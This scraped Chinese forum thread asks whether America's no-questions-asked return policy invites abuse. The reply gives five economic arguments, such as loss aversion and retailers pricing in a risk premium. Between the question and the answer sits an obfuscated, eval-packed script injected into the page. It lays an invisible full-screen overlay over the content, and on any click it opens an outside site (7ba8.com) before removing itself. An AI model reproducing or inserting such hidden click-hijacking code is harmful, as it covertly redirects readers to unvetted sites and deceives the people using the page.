美国购买商品有限期内可以无条件退款的政策有没有促使很多人钻空子?

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>1. 「禀赋效应」或「损失厌恶」表示,消费者在购买和使用一件 (耐用) 商品后,这个东西在他心中的价值就大大提高了,以原价退回对消费者本人来说就往往无法接受。
2. 既然企业面临商品被无故退回的风险,所以完全可能已经将「风险溢价」加到了商品价格中。也就是说,那些占大多数的不退回商品的消费者,在为退回者埋单。
3. 大规模企业因为「规模经济」,本身就有更强的风险承受能力,不必考虑风险溢价。
4. 对于部分摸着钱包犹豫不决的消费者,退货政策消除了他们的后顾之忧,这是「后悔药换销量」。
5. 对于退回商品的情况,企业实际上是以商品作抵押,租用了消费者的资金。通过企业的「资金运作」,这些资金在退货期产生的增值,至少可以部分抵扣商品的折旧。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部